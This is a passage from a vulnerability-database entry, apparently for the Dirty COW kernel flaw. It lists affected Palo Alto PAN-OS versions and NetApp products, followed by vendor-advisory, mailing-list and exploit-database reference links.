Paloaltonetworks>>Pan-os >> Version From (including) 5.1 To (excluding) 7.0.14

Paloaltonetworks>>Pan-os >> Version From (including) 7.1.0 To (excluding) 7.1.8

Configuraton 0

Netapp>>Cloud_backup >> Version -

Netapp>>Hci_storage_nodes >> Version -

Netapp>>Oncommand_balance >> Version -

Netapp>>Oncommand_performance_manager >> Version -

Netapp>>Oncommand_unified_manager_for_clustered_data_ontap >> Version -

Netapp>>Ontap_select_deploy_administration_utility >> Version -

Netapp>>Snapprotect >> Version -

Netapp>>Solidfire >> Version -

References

http://rhn.redhat.com/errata/RHSA-2016-2107.html
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/40616/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2017:0372
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/40839/
Tags : exploit, x_refsource_EXPLOIT-DB
https://dirtycow.ninja
Tags : x_refsource_MISC
https://www.exploit-db.com/exploits/40847/
Tags : exploit, x_refsource_EXPLOIT-DB
http://rhn.redhat.com/errata/RHSA-2016-2118.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2128.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2120.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2016/10/26/7
Tags : mailing-list, x_refsource_MLIST
http://rhn.redhat.com/errata/RHSA-2016-2133.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2098.html
Tags : vendor-advisory, x_refsource_REDHAT
https://www.kb.cert.org/vuls/id/243144
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.securitytracker.com/id/1037078
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/93793
Tags : vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2016-2127.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2106.html
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/40611/
Tags : exploit, x_refsource_EXPLOIT-DB
http://rhn.redhat.com/errata/RHSA-2016-2124.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2105.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2126.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2132.html
Tags : vendor-advisory, x_refsource_REDHAT
http://rhn.redhat.com/errata/RHSA-2016-2110.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.openwall.com/lists/oss-security/2016/10/27/13
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-3106-2
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-3106-3
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-3105-2
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-3107-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-3107-2
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-3106-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-3106-4
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2016/10/30/1
Tags : mailing-list, x_refsource_MLIST
http://www.ubuntu.com/usn/USN-3104-2
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.ubuntu.com/usn/USN-3105-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2016/11/03/7
Tags : mailing-list, x_refsource_MLIST
http://www.debian.org/security/2016/dsa-3696
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.ubuntu.com/usn/USN-3104-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.openwall.com/lists/oss-security/2016/10/21/1
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/03/07/1
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/08/2
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/08/1
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/08/7
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/08/8
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/09/4
Tags : mailing-list, x_refsource_MLIST
http://www.openwall.com/lists/oss-security/2022/08/15/1
Tags : mailing-list, x_refsource_MLIST